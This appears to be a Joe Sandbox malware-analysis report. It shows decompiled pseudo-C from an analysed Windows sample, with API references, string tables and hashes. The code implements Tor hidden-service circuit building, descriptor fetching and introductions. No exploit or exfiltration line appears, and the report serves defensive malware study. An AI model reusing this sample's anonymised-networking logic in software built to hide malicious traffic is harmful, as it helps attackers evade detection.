				if (__rdx -  *((intOrPtr*)(__rcx + 0x68)) - _t211 >> 3 >= 0) goto 0x9baa97ec;
				_t320 =  *((intOrPtr*)(_t211 + __rdx * 8));
				_t189 =  *((intOrPtr*)(__rcx + 8));
				__imp__#12();
				E00007FF77FF79BAA1BA8(_t189, _t287 + 0x90);
				 *((intOrPtr*)(_t289 + 0x40)) = 1;
				_t191 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__rcx + 8)) + 8)) + 0x40));
				_t21 = _t318 + 1; // 0x1
				r9d = _t21;
				 *(_t289 + 0x30) =  *( *((intOrPtr*)(_t189 + 8)) + 0x5c) & 0x0000ffff;
				 *(_t289 + 0x28) =  *((intOrPtr*)(_t189 + 8));
				 *((long long*)(_t289 + 0x20)) = _t191;
				_t110 = E00007FF77FF79BAA1720(1, 1, 0x9babd010, "\tCreating circuit for hidden service (try #%u), connecting to \'%s\' (%s:%u)\n", __r9);
				 *((intOrPtr*)(_t289 + 0x40)) = 1;
				E00007FF77FF79BAA1BDC(_t110, _t287 + 0x90);
				E00007FF77FF79BAA1720(1, 0, 0x9babd010, "\tConnected...\n", __r9);
				E00007FF77FF79BAAA54C( *((intOrPtr*)( *((intOrPtr*)(_t189 + 8)) + 0x58)), 0,  *((intOrPtr*)(_t285 + 8)), _t289 + 0x48, _t285);
				if ( *((long long*)(_t289 + 0x48)) != 0) goto 0x9baa946c;
				if ( *((intOrPtr*)(_t289 + 0x48)) == 0) goto 0x9baa9467;
				E00007FF77FF79BAA4FDC( *((intOrPtr*)(_t289 + 0x48)), _t289 + 0x48);
				goto 0x9baa9798;
				_t149 =  *(_t320 + 0x5c) & 0x0000ffff;
				__imp__#12();
				E00007FF77FF79BAA1BA8(_t191, _t287 + 0xb0);
				 *((intOrPtr*)(_t289 + 0x40)) = 1;
				 *(_t289 + 0x28) = _t149;
				 *((long long*)(_t289 + 0x20)) =  *((intOrPtr*)(_t191 + 8));
				_t309 =  *((intOrPtr*)(_t320 + 0x40));
				_t116 = E00007FF77FF79BAA1720(1, 2, 0x9babd010, "\tExtending circuit for hidden service, connecting to responsible directory \'%s\' (%s:%u)\n",  *((intOrPtr*)(_t320 + 0x40)));
				 *((intOrPtr*)(_t289 + 0x40)) = 1;
				E00007FF77FF79BAA1BDC(_t116, _t287 + 0xb0);
				if (E00007FF77FF79BAA5284( *((intOrPtr*)(_t320 + 0x58)), 0, __rbx,  *((intOrPtr*)(_t289 + 0x48)), _t320) != 0) goto 0x9baa9507;
				E00007FF77FF79BAA1720(2, 0, 0x9babd010, "\tError while extending the directory circuit\n",  *((intOrPtr*)(_t320 + 0x40)));
				if ( *((intOrPtr*)(_t289 + 0x48)) == 0) goto 0x9baa9502;
				E00007FF77FF79BAA4FDC( *((intOrPtr*)(_t289 + 0x48)), _t320);
				goto 0x9baa9798;
				E00007FF77FF79BAA1720(1, 0,  *((intOrPtr*)(_t289 + 0x48)), "\tExtended...\n",  *((intOrPtr*)(_t320 + 0x40)));
				E00007FF77FF79BAA4E68(_t206,  *((intOrPtr*)(_t289 + 0x48)), _t289 + 0x58, _t285,  *((intOrPtr*)(_t320 + 0x40)));
				if ( *((long long*)(_t289 + 0x58)) != 0) goto 0x9baa956c;
				E00007FF77FF79BAA1720(2, 0, 0x9babd010, "\tError while establishing the directory stream\n",  *((intOrPtr*)(_t320 + 0x40)));
				E00007FF77FF79BAA6AF4(_t289 + 0x58);
				if ( *((intOrPtr*)(_t289 + 0x48)) == 0) goto 0x9baa9567;
				E00007FF77FF79BAA4FDC( *((intOrPtr*)(_t289 + 0x48)), _t289 + 0x58);
				goto 0x9baa9798;
				r8b = _t149 & 0xffffff00 | _t318 - 0x00000003 >= 0x00000000;
				_t126 = E00007FF77FF79BAA9268(2, _t206, _t285, _t287 + 0xf0, __rdi, _t285);
				 *((long long*)(_t287 - 0x60)) =  *((intOrPtr*)(_t191 + 8));
				 *((long long*)(_t287 - 0x58)) =  *((intOrPtr*)(_t191 + 0x10));
				asm("movaps xmm0, [ebp-0x60]");
				asm("movdqa [ebp+0x20], xmm0");
				_t127 = E00007FF77FF79BAA293C(_t126,  *((intOrPtr*)(_t320 + 0x58)), _t287 + 0xd0, _t287 + 0x20, _t309, __r10);
				 *((long long*)(_t287 - 0x50)) = "/tor/rendezvous2/%s";
				 *((long long*)(_t287 - 0x48)) = 0x9bab4c03;
				asm("movaps xmm0, [ebp-0x50]");
				asm("movdqa [ebp+0x30], xmm0");
				_t270 = _t287 + 0x30;
				E00007FF77FF79BAA1BDC(E00007FF77FF79BAA1DEC(_t127,  *((intOrPtr*)(_t289 + 0x48)), _t287 - 0x10, _t270,  *((intOrPtr*)( *((intOrPtr*)(_t191 + 8)) + 8)), _t309), _t287 + 0xd0);
				free(??);
				E00007FF77FF79BAA1720(0, 0, 0x9babd010, "hidden_service::fetch_hidden_service_descriptor() [path: %s]\n",  *((intOrPtr*)(_t287 - 8)));
				E00007FF77FF79BAA1720(1, 0, 0x9babd010, "\tSending request for hidden service descriptor...\n",  *((intOrPtr*)(_t287 - 8)));
				_t302 =  *((intOrPtr*)(_t287 - 8));
				_t193 =  *_t287 - _t302 - 1;
				asm("dec eax");
				 *((long long*)(_t287 - 0x40)) = _t302;
				 *((long long*)(_t287 - 0x38)) = (_t270 & _t193) + _t302;
				asm("movaps xmm0, [ebp-0x40]");
				asm("movdqa [ebp+0x40], xmm0");
				__imp__#12();
				E00007FF77FF79BAA1BA8(_t193, _t287 + 0x110);
				 *((intOrPtr*)(_t289 + 0x40)) = 8;
				_t304 =  *((intOrPtr*)(_t193 + 8));
				asm("dec eax");
				 *((long long*)(_t287 - 0x30)) = _t304;
				 *((long long*)(_t287 - 0x28)) = ( *((intOrPtr*)(_t193 + 0x10)) - _t304 - 0x00000001 & _t193) + _t304;
				asm("movaps xmm0, [ebp-0x30]");
				asm("movdqa [ebp+0x50], xmm0");
				 *((long long*)(_t289 + 0x20)) =  *((intOrPtr*)(_t289 + 0x58));
				_t133 = E00007FF77FF79BAA37A4(1,  *((intOrPtr*)(_t289 + 0x48)), _t193,  *((intOrPtr*)(_t289 + 0x58)), _t287 - 0x80, _t287 + 0x50, _t285, _t287 + 0x40);
				 *((intOrPtr*)(_t289 + 0x40)) = 0;
				E00007FF77FF79BAA1BDC(_t133, _t287 + 0x110);
				_t135 = E00007FF77FF79BAA1720(1, 0, 0x9babd010, "\tHidden service descriptor received...\n", _t287 + 0x40);
				_t306 =  *((intOrPtr*)(_t287 - 0x78));
				_t279 =  *((intOrPtr*)(_t287 - 0x70)) - _t306;
				asm("dec eax");
				if ((_t279 - 0x00000001 &  ~_t279) == 0) goto 0x9baa9754;
				 *((long long*)(_t287 - 0x20)) = "404 Not found";
				 *((long long*)(_t287 - 0x18)) = 0x9bab4cb5;
				asm("dec eax");
				_t199 = (0x9bab4cb5 & _t279 - 0x00000001) + _t306;
				 *((long long*)(_t289 + 0x70)) = _t306;
				 *((long long*)(_t289 + 0x78)) = 0x9bab4cb5;
				asm("movaps xmm0, [esp+0x70]");
				asm("movdqa [ebp+0x70], xmm0");
				asm("movaps xmm1, [ebp-0x20]");
				asm("movdqa [ebp+0x60], xmm1");
				r8d = 0;
				E00007FF77FF79BAA17E4(_t135, _t279 - 0x00000001 &  ~_t279, _t199,  *((intOrPtr*)(_t289 + 0x58)), _t287 + 0x70, _t287 + 0x60, _t285, _t287, _t306);
				if (_t199 == (_t315 | 0xffffffff)) goto 0x9baa9810;
				E00007FF77FF79BAA1BDC(E00007FF77FF79BAA1BDC(E00007FF77FF79BAA1720(2, 0, 0x9babd010, "\tHidden service descriptor is invalid...\n", _t279 - 1), _t287 - 0x80), _t287 - 0x10);
				E00007FF77FF79BAA6AF4(_t289 + 0x58);
				if ( *((intOrPtr*)(_t289 + 0x48)) == 0) goto 0x9baa9798;
				E00007FF77FF79BAA4FDC( *((intOrPtr*)(_t289 + 0x48)), _t287 + 0x60);
				_t208 =  *((intOrPtr*)(_t289 + 0x50));
				_t183 = _t208;
				if (_t183 == 0) goto 0x9baa97d1;
				asm("lock xadd [ebx+0x8], eax");
				if (_t183 != 0) goto 0x9baa97cd;
				 *((intOrPtr*)( *_t208))();
				asm("lock xadd [ebx+0xc], eax");
				if (_t183 != 0) goto 0x9baa97cd;
				_t147 =  *((intOrPtr*)( *_t208 + 8))();
				if (_t318 + 1 -  *((intOrPtr*)(_t285 + 0x68)) -  *((intOrPtr*)(_t285 + 0x60)) >> 3 < 0) goto 0x9baa93b1;
				return _t147;
			}

0x7ff79baa9354
0x7ff79baa9354
0x7ff79baa9360
0x7ff79baa9367
0x7ff79baa936e
0x7ff79baa9376
0x7ff79baa937a
0x7ff79baa937e
0x7ff79baa9382
0x7ff79baa9385
0x7ff79baa938a
0x7ff79baa938e
0x7ff79baa93a4
0x7ff79baa93b1
0x7ff79baa93b5
0x7ff79baa93c4
0x7ff79baa93d7
0x7ff79baa93df
0x7ff79baa93ef
0x7ff79baa93f3
0x7ff79baa93f3
0x7ff79baa93f7
0x7ff79baa93fb
0x7ff79baa9400
0x7ff79baa9414
0x7ff79baa941c
0x7ff79baa9427
0x7ff79baa943b
0x7ff79baa9449
0x7ff79baa9455
0x7ff79baa945f
0x7ff79baa9461
0x7ff79baa9467
0x7ff79baa946c
0x7ff79baa9475
0x7ff79baa9488
0x7ff79baa9490
0x7ff79baa9498
0x7ff79baa949c
0x7ff79baa94a1
0x7ff79baa94b4
0x7ff79baa94bc
0x7ff79baa94c7
0x7ff79baa94de
0x7ff79baa94ec
0x7ff79baa94fa
0x7ff79baa94fc
0x7ff79baa9502
0x7ff79baa9513
0x7ff79baa9529
0x7ff79baa9535
0x7ff79baa9546
0x7ff79baa9551
0x7ff79baa955f
0x7ff79baa9561
0x7ff79baa9567
0x7ff79baa956c
0x7ff79baa9579
0x7ff79baa9587
0x7ff79baa958b
0x7ff79baa958f
0x7ff79baa9593
0x7ff79baa95a3
0x7ff79baa95b0
0x7ff79baa95bb
0x7ff79baa95bf
0x7ff79baa95c3
0x7ff79baa95cc
0x7ff79baa95e1
0x7ff79baa95ee
0x7ff79baa9604
0x7ff79baa9618
0x7ff79baa9626
0x7ff79baa962d
0x7ff79baa9634
0x7ff79baa963d
0x7ff79baa9641
0x7ff79baa9645
0x7ff79baa9649
0x7ff79baa9652
0x7ff79baa9665
0x7ff79baa966d
0x7ff79baa9671
0x7ff79baa9683
0x7ff79baa968c
0x7ff79baa9690
0x7ff79baa9694
0x7ff79baa9698
0x7ff79baa969d
0x7ff79baa96ae
0x7ff79baa96b7
0x7ff79baa96c2
0x7ff79baa96d6
0x7ff79baa96df
0x7ff79baa96e3
0x7ff79baa96f4
0x7ff79baa96fa
0x7ff79baa9703
0x7ff79baa970e
0x7ff79baa9715
0x7ff79baa971b
0x7ff79baa971e
0x7ff79baa9723
0x7ff79baa9728
0x7ff79baa972d
0x7ff79baa9732
0x7ff79baa9736
0x7ff79baa973b
0x7ff79baa9746
0x7ff79baa974e
0x7ff79baa9777
0x7ff79baa9782
0x7ff79baa9790
0x7ff79baa9792
0x7ff79baa9798
0x7ff79baa979d
0x7ff79baa97a0
0x7ff79baa97a5
0x7ff79baa97ad
0x7ff79baa97b5
0x7ff79baa97ba
0x7ff79baa97c2
0x7ff79baa97ca
0x7ff79baa97e6
0x7ff79baa980f

APIs

inet_ntoa.WS2_32 ref: 00007FF79BAA93C4

Part of subcall function 00007FF79BAA1720: GetCurrentThreadId.KERNEL32 ref: 00007FF79BAA1743
Part of subcall function 00007FF79BAA1720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF79BAA88EE), ref: 00007FF79BAA1750
Part of subcall function 00007FF79BAA1720: _cwprintf_s_l.LIBCMT ref: 00007FF79BAA1791

Part of subcall function 00007FF79BAA1BDC: free.MSVCRT ref: 00007FF79BAA1BF2

free.MSVCRT ref: 00007FF79BAA95EE
inet_ntoa.WS2_32 ref: 00007FF79BAA9652
inet_ntoa.WS2_32 ref: 00007FF79BAA9475

Part of subcall function 00007FF79BAA4FDC: free.MSVCRT ref: 00007FF79BAA5022

Strings

Error while establishing the directory stream, xrefs: 00007FF79BAA9537
gfffffff, xrefs: 00007FF79BAA98CC
Connected..., xrefs: 00007FF79BAA942C
Extending circuit for hidden service, connecting to responsible directory '%s' (%s:%u), xrefs: 00007FF79BAA94A5
/tor/rendezvous2/%s, xrefs: 00007FF79BAA95A9
Extended..., xrefs: 00007FF79BAA9507
Error while extending the directory circuit, xrefs: 00007FF79BAA94E0
Hidden service descriptor is valid..., xrefs: 00007FF79BAA9810
Creating circuit for hidden service (try #%u), connecting to '%s' (%s:%u), xrefs: 00007FF79BAA9405
Hidden service descriptor is invalid..., xrefs: 00007FF79BAA9754
404 Not found, xrefs: 00007FF79BAA96FC
Hidden service descriptor received..., xrefs: 00007FF79BAA96C7
Sending request for hidden service descriptor..., xrefs: 00007FF79BAA9609
Hidden service descriptor contains no introduction points..., xrefs: 00007FF79BAA98E9
hidden_service::fetch_hidden_service_descriptor() [path: %s], xrefs: 00007FF79BAA95F8

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: freeinet_ntoa$CurrentLocalThreadTime_cwprintf_s_l
String ID: Connected...$Creating circuit for hidden service (try #%u), connecting to '%s' (%s:%u)$Error while establishing the directory stream$Error while extending the directory circuit$Extended...$Extending circuit for hidden service, connecting to responsible directory '%s' (%s:%u)$Hidden service descriptor contains no introduction points...$Hidden service descriptor is invalid...$Hidden service descriptor is valid...$Hidden service descriptor received...$Sending request for hidden service descriptor...$/tor/rendezvous2/%s$404 Not found$gfffffff$hidden_service::fetch_hidden_service_descriptor() [path: %s]
API String ID: 1332336199-2986099802
Opcode ID: 520c0a3dff856de0835c031e32224991d4ea1370bd9e6a6fe1868092a0538a1b
Instruction ID: 193c8b80bc51ebad9c178b031f68f5a2710baee28fb243e4416cf9c41c90eebe
Opcode Fuzzy Hash: 520c0a3dff856de0835c031e32224991d4ea1370bd9e6a6fe1868092a0538a1b
Instruction Fuzzy Hash: EE02D266A04B8986EB20EF79D8406EDA361FB85B84F904136DE4D437B5DF3CE645C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA996C Relevance: 24.8, APIs: 5, Strings: 9, Instructions: 280
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00007FF77FF79BAA996C(void* __edi, long long __rbx, intOrPtr* __rcx, long long __rdi, long long __rsi) {
				void* __rbp;
				void* _t77;
				void* _t89;
				intOrPtr* _t132;
				intOrPtr* _t135;
				intOrPtr* _t139;
				void* _t142;
				intOrPtr _t144;
				intOrPtr _t148;
				long long _t154;
				intOrPtr* _t159;
				intOrPtr* _t160;
				intOrPtr* _t161;
				intOrPtr* _t200;
				intOrPtr* _t203;
				void* _t206;
				void* _t207;
				void* _t208;
				intOrPtr _t225;
				signed long long _t226;

				_t128 = __edi;
				_t142 = _t207;
				_t206 = _t142 - 0x5f;
				_t208 = _t207 - 0x100;
				 *((long long*)(_t206 - 0x39)) = 0xfffffffe;
				 *((long long*)(_t142 + 8)) = __rbx;
				 *((long long*)(_t142 + 0x10)) = __rsi;
				 *((long long*)(_t142 + 0x18)) = __rdi;
				_t200 = __rcx;
				 *(_t208 + 0x30) =  *(_t208 + 0x30) & 0x00000000;
				_t203 =  *((intOrPtr*)(__rcx + 0x80));
				_t225 =  *((intOrPtr*)(__rcx + 0x88));
				if (_t203 == _t225) goto 0x9baa9c7f;
				_t10 = (_t226 | 0xffffffff) + 2; // 0xd9f748ff418d48ca
				r13d = _t10;
				 *((long long*)(_t208 + 0x48)) =  *_t203;
				_t12 = _t203 + 8; // 0x8
				E00007FF77FF79BAA9DD8(_t203 - _t225, __rbx, _t206 - 0x79, _t12, _t203, _t206);
				_t144 =  *((intOrPtr*)(_t200 + 8));
				__imp__#12();
				E00007FF77FF79BAA1BA8(_t144, _t206 - 9);
				 *(_t208 + 0x30) =  *(_t208 + 0x30) | r13d;
				 *(_t208 + 0x28) =  *( *((intOrPtr*)(_t144 + 8)) + 0x5c) & 0x0000ffff;
				 *((long long*)(_t208 + 0x20)) =  *((intOrPtr*)(_t144 + 8));
				_t77 = E00007FF77FF79BAA1720(r13d, __edi, 0x9babd010, "\tCreating circuit for hidden service introduce, connecting to \'%s\' (%s:%u)\n",  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t200 + 8)) + 8)) + 0x40)));
				 *(_t208 + 0x30) =  *(_t208 + 0x30) & 0xfffffffe;
				E00007FF77FF79BAA1BDC(_t77, _t206 - 9);
				E00007FF77FF79BAAA54C( *(_t208 + 0x30) | r13d, __edi,  *((intOrPtr*)(_t200 + 8)), _t208 + 0x38, _t203);
				if ( *((long long*)(_t208 + 0x38)) != 0) goto 0x9baa9aa5;
				if ( *((intOrPtr*)(_t208 + 0x38)) == 0) goto 0x9baa9a6a;
				E00007FF77FF79BAA4FDC( *((intOrPtr*)(_t208 + 0x38)), _t208 + 0x38);
				_t159 =  *((intOrPtr*)(_t208 + 0x40));
				_t132 = _t159;
				if (_t132 == 0) goto 0x9baa9aa0;
				asm("lock xadd [ebx+0x8], eax");
				if (_t132 != 0) goto 0x9baa9aa0;
				 *((intOrPtr*)( *_t159))();
				asm("lock xadd [ebx+0xc], eax");
				if (_t132 != 0) goto 0x9baa9aa0;
				 *((intOrPtr*)( *_t159 + 8))();
				goto 0x9baa9c68;
				E00007FF77FF79BAA1720(r13d, __edi, 0x9babd010, "\tConnected...\n",  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t200 + 8)) + 8)) + 0x40)));
				_t148 =  *((intOrPtr*)(_t208 + 0x48));
				__imp__#12();
				E00007FF77FF79BAA1BA8(_t148, _t206 + 0x17);
				 *(_t208 + 0x30) =  *(_t208 + 0x30) | 0x00000002;
				 *(_t208 + 0x28) =  *(_t148 + 0x5c) & 0x0000ffff;
				 *((long long*)(_t208 + 0x20)) =  *((intOrPtr*)(_t148 + 8));
				_t89 = E00007FF77FF79BAA1720(r13d, __edi, 0x9babd010, "\tExtending circuit to introduction point \'%s\' (%s:%u)\n",  *((intOrPtr*)( *((intOrPtr*)(_t208 + 0x48)) + 0x40)));
				 *(_t208 + 0x30) =  *(_t208 + 0x30) & 0xfffffffd;
				E00007FF77FF79BAA1BDC(_t89, _t206 + 0x17);
				if (E00007FF77FF79BAA5284( *(_t208 + 0x30) | 0x00000002, __edi, _t159,  *((intOrPtr*)(_t208 + 0x38)),  *((intOrPtr*)(_t208 + 0x48))) != 0) goto 0x9baa9b8c;
				E00007FF77FF79BAA1720(2, __edi, 0x9babd010, "\tError while extending the introduce circuit\n",  *((intOrPtr*)( *((intOrPtr*)(_t208 + 0x48)) + 0x40)));
				if ( *((intOrPtr*)(_t208 + 0x38)) == 0) goto 0x9baa9b51;
				E00007FF77FF79BAA4FDC( *((intOrPtr*)(_t208 + 0x38)),  *((intOrPtr*)(_t208 + 0x48)));
				_t160 =  *((intOrPtr*)(_t208 + 0x40));
				_t135 = _t160;
				if (_t135 == 0) goto 0x9baa9b87;
				asm("lock xadd [ebx+0x8], eax");
				if (_t135 != 0) goto 0x9baa9b87;
				 *((intOrPtr*)( *_t160))();
				asm("lock xadd [ebx+0xc], eax");
				if (_t135 != 0) goto 0x9baa9b87;
				 *((intOrPtr*)( *_t160 + 8))();
				goto 0x9baa9c68;
				E00007FF77FF79BAA1720(r13d, _t128, _t160, "\tExtended...\n",  *((intOrPtr*)( *((intOrPtr*)(_t208 + 0x48)) + 0x40)));
				E00007FF77FF79BAA1720(r13d, _t128, 0x9babd010, "\tSending introduce...\n",  *((intOrPtr*)( *((intOrPtr*)(_t208 + 0x48)) + 0x40)));
				 *((long long*)(_t206 - 0x59)) =  *((intOrPtr*)(_t206 - 0x71));
				 *((long long*)(_t206 - 0x51)) =  *((intOrPtr*)(_t206 - 0x69));
				asm("movaps xmm0, [ebp-0x59]");
				asm("movdqa [ebp-0x29], xmm0");
				_t154 = _t200 + 0x98;
				 *((long long*)(_t206 - 0x49)) = _t154;
				 *((long long*)(_t206 - 0x41)) = _t154 + 0x14;
				asm("movaps xmm0, [ebp-0x49]");
				asm("movdqa [ebp-0x19], xmm0");
				if (E00007FF77FF79BAA56B4( *(_t208 + 0x30) | 0x00000002, _t128,  *((intOrPtr*)(_t208 + 0x38)),  *_t200, _t206 - 0x19, _t206 - 0x29) != 0) goto 0x9baa9d0d;
				E00007FF77FF79BAA1720(2, _t128, 0x9babd010, "\tIntroduce failed...\n", _t206 - 0x29);
				if ( *((intOrPtr*)( *_t200 + 0xc)) == 5) goto 0x9baa9ca2;
				if ( *((intOrPtr*)(_t208 + 0x38)) == 0) goto 0x9baa9c32;
				E00007FF77FF79BAA4FDC( *((intOrPtr*)(_t208 + 0x38)),  *_t200);
				_t161 =  *((intOrPtr*)(_t208 + 0x40));
				_t139 = _t161;
				if (_t139 == 0) goto 0x9baa9c68;
				asm("lock xadd [ebx+0x8], eax");
				if (_t139 != 0) goto 0x9baa9c68;
				 *((intOrPtr*)( *_t161))();
				asm("lock xadd [ebx+0xc], eax");
				if (_t139 != 0) goto 0x9baa9c68;
				 *((intOrPtr*)( *_t161 + 8))();
				free(??);
				if (_t203 + 0x28 != _t225) goto 0x9baa99c5;
				return 0;
			}

0x7ff79baa996c
0x7ff79baa996c
0x7ff79baa9978
0x7ff79baa997c
0x7ff79baa9983
0x7ff79baa998b
0x7ff79baa998f
0x7ff79baa9993
0x7ff79baa9997
0x7ff79baa999a
0x7ff79baa999f
0x7ff79baa99a6
0x7ff79baa99b0
0x7ff79baa99ba
0x7ff79baa99ba
0x7ff79baa99c8
0x7ff79baa99cd
0x7ff79baa99d5
0x7ff79baa99db
0x7ff79baa99ea
0x7ff79baa99fa
0x7ff79baa9a06
0x7ff79baa9a16
0x7ff79baa9a1a
0x7ff79baa9a30
0x7ff79baa9a35
0x7ff79baa9a3e
0x7ff79baa9a4c
0x7ff79baa9a58
0x7ff79baa9a62
0x7ff79baa9a64
0x7ff79baa9a6a
0x7ff79baa9a6f
0x7ff79baa9a72
0x7ff79baa9a77
0x7ff79baa9a7f
0x7ff79baa9a87
0x7ff79baa9a8c
0x7ff79baa9a94
0x7ff79baa9a9c
0x7ff79baa9aa0
0x7ff79baa9ab2
0x7ff79baa9ab7
0x7ff79baa9ac3
0x7ff79baa9ad3
0x7ff79baa9adf
0x7ff79baa9aec
0x7ff79baa9af0
0x7ff79baa9b06
0x7ff79baa9b0b
0x7ff79baa9b14
0x7ff79baa9b2d
0x7ff79baa9b3b
0x7ff79baa9b49
0x7ff79baa9b4b
0x7ff79baa9b51
0x7ff79baa9b56
0x7ff79baa9b59
0x7ff79baa9b5e
0x7ff79baa9b66
0x7ff79baa9b6e
0x7ff79baa9b73
0x7ff79baa9b7b
0x7ff79baa9b83
0x7ff79baa9b87
0x7ff79baa9b96
0x7ff79baa9ba8
0x7ff79baa9bb1
0x7ff79baa9bb9
0x7ff79baa9bbd
0x7ff79baa9bc1
0x7ff79baa9bc6
0x7ff79baa9bd1
0x7ff79baa9bd5
0x7ff79baa9bd9
0x7ff79baa9bdd
0x7ff79baa9bfc
0x7ff79baa9c10
0x7ff79baa9c1c
0x7ff79baa9c2a
0x7ff79baa9c2c
0x7ff79baa9c32
0x7ff79baa9c37
0x7ff79baa9c3a
0x7ff79baa9c3f
0x7ff79baa9c47
0x7ff79baa9c4f
0x7ff79baa9c54
0x7ff79baa9c5c
0x7ff79baa9c64
0x7ff79baa9c6c
0x7ff79baa9c79
0x7ff79baa9ca1

APIs

inet_ntoa.WS2_32 ref: 00007FF79BAA99EA

Part of subcall function 00007FF79BAA1720: GetCurrentThreadId.KERNEL32 ref: 00007FF79BAA1743
Part of subcall function 00007FF79BAA1720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF79BAA88EE), ref: 00007FF79BAA1750
Part of subcall function 00007FF79BAA1720: _cwprintf_s_l.LIBCMT ref: 00007FF79BAA1791

Part of subcall function 00007FF79BAA1BDC: free.MSVCRT ref: 00007FF79BAA1BF2

inet_ntoa.WS2_32 ref: 00007FF79BAA9AC3
free.MSVCRT ref: 00007FF79BAA9C6C
free.MSVCRT ref: 00007FF79BAA9D02
free.MSVCRT ref: 00007FF79BAA9D67

Part of subcall function 00007FF79BAA4FDC: free.MSVCRT ref: 00007FF79BAA5022

Strings

Introduced successfully..., xrefs: 00007FF79BAA9D0D
Connected..., xrefs: 00007FF79BAA9AA5
Creating circuit for hidden service introduce, connecting to '%s' (%s:%u), xrefs: 00007FF79BAA9A23
Error while extending the introduce circuit, xrefs: 00007FF79BAA9B2F
circuit %X is destroyed., xrefs: 00007FF79BAA9CA6
Introduce failed..., xrefs: 00007FF79BAA9C02
Extended..., xrefs: 00007FF79BAA9B8C
Extending circuit to introduction point '%s' (%s:%u), xrefs: 00007FF79BAA9AF9
Sending introduce..., xrefs: 00007FF79BAA9B9B

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: free$inet_ntoa$CurrentLocalThreadTime_cwprintf_s_l
String ID: Connected...$Creating circuit for hidden service introduce, connecting to '%s' (%s:%u)$Error while extending the introduce circuit$Extended...$Extending circuit to introduction point '%s' (%s:%u)$Introduce failed...$Introduced successfully...$Sending introduce...$circuit %X is destroyed.
API String ID: 173892578-86379327
Opcode ID: 6a3aa7c31e430e14e3ba56c61af24097604cdae8d8d98ef57c9113e0659f2cfa
Instruction ID: 35f6ed96db3fcd6d1a8db7678ac87a99b54b0fbbbed6a321f7d9fb50f186de08
Opcode Fuzzy Hash: 6a3aa7c31e430e14e3ba56c61af24097604cdae8d8d98ef57c9113e0659f2cfa
Instruction Fuzzy Hash: C9C1B426A04A4986EF60EF3AD4445BDF3A1FB85B94B849036DA4E07774CF3CDA45C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAACD08 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 346
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00007FF77FF79BAACD08(signed int __ecx, void* __eflags, long long __rcx, long long __rdx, void* __r8) {
				void* __rbx;
				void* __rsi;
				void* _t33;
				void* _t38;
				signed int _t43;
				signed int _t52;
				void* _t54;
				void* _t60;
				intOrPtr _t61;
				signed long long _t69;
				void* _t82;
				void* _t85;
				void* _t87;
				void* _t88;
				void* _t105;
				signed long long _t106;
				void* _t108;
				char* _t109;

				_t54 = _t87;
				 *((intOrPtr*)(_t54 + 0x20)) = r9b;
				 *((long long*)(_t54 + 0x10)) = __rdx;
				 *((long long*)(_t54 + 8)) = __rcx;
				_push(_t60);
				_push(_t82);
				_t85 = _t54 - 0x168;
				_t88 = _t87 - 0x228;
				 *((long long*)(_t85 + 0x60)) = 0xfffffffe;
				asm("movaps [eax-0x58], xmm6");
				 *(_t88 + 0x40) = 0;
				E00007FF77FF79BAA1BA8(__r8, _t85 + 0x40);
				_t9 = _t60 + 2; // 0x2
				_t43 = _t9;
				 *(_t88 + 0x40) = _t43;
				 *((long long*)(_t88 + 0x70)) = "\n";
				 *((long long*)(_t88 + 0x78)) = 0x9bab37f1;
				asm("movaps xmm0, [esp+0x70]");
				asm("movdqa [ebp-0x30], xmm0");
				_t33 = E00007FF77FF79BAA1C90(__r8, _t85 + 0x68);
				 *(_t88 + 0x40) = _t43 & 0xfffffffd;
				E00007FF77FF79BAA1BDC(_t33, _t85 + 0x40);
				r12d = 0;
				_t106 =  *((intOrPtr*)(_t85 + 0x70));
				if (_t106 ==  *((intOrPtr*)(_t85 + 0x78))) goto 0x9baace6f;
				 *((long long*)(_t88 + 0x70)) = 0x9bab53a8;
				 *((long long*)(_t88 + 0x78)) = 0x9bab53a9;
				asm("movaps xmm6, [esp+0x70]");
				asm("movdqa [esp+0x50], xmm6");
				_t69 = _t106;
				E00007FF77FF79BAA1C90(_t69, _t85 - 0x58);
				_t61 =  *((intOrPtr*)(_t85 - 0x50));
				_t109 =  *((intOrPtr*)(_t61 + 8));
				asm("dec eax");
				if ((_t69 &  *((intOrPtr*)(_t61 + 0x10)) - _t109 - 0x00000001) != 1) goto 0x9baace27;
				if ( *_t109 != 0x72) goto 0x9baace27;
				r12d = __ecx;
				goto 0x9baace4b;
				E00007FF77FF79BAA1E74(_t61, _t85 + 0x180);
				if ( *((intOrPtr*)(_t85 + 0x180)) != 0xa41ce6a2) goto 0x9baace4b;
				r12d = 2;
				_t52 = r12d;
